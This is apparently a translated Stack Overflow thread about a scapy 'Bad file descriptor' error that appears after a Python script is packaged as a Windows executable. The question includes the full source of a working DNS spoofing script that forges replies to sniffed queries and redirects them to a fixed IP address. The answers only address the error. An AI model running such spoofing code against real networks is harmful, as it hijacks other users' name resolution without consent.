簡體   English   中英

scapy OSError:[Errno 9]錯誤的文件描述符

[英]scapy OSError: [Errno 9] Bad file descriptor

我在Windows XP中使用python 2.7和scapy-2.2.0。 我正在嘗試DNS欺騙,它在python中效果很好。 但是當我執行.exe並執行它時,出現此錯誤

Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor

我該如何解決? 請幫忙。

這是源代碼。

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
    from scapy.all import *
except:
    from scapy import *
def dns_spoof(pkt):
    redirect_to = '172.16.22.91'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)

似乎使用了錯誤的文件描述符(句柄)。 例如,以stdout(管道)打開的東西用作套接字。

如果我理解正確,則同一程序可從源代碼運行,並且滾動到exe后會失敗。 我對嗎?

如果您在Linux上運行它,則可以使用strace找出哪個。

Windows上的等效工具是Process MonitorLogger.exe

當我嘗試send(IP(dst="1.2.3.4")/ICMP()) ,我遇到了相同的錯誤,我在github上發現我的問題是在Windows上使用IDLE而不是Command Prompt / Powershell 這是Powershell中的輸出:

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.

也許這不是OP遇到的問題,但這是Google上的第一個線程,因此可能會對某人有所幫助。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM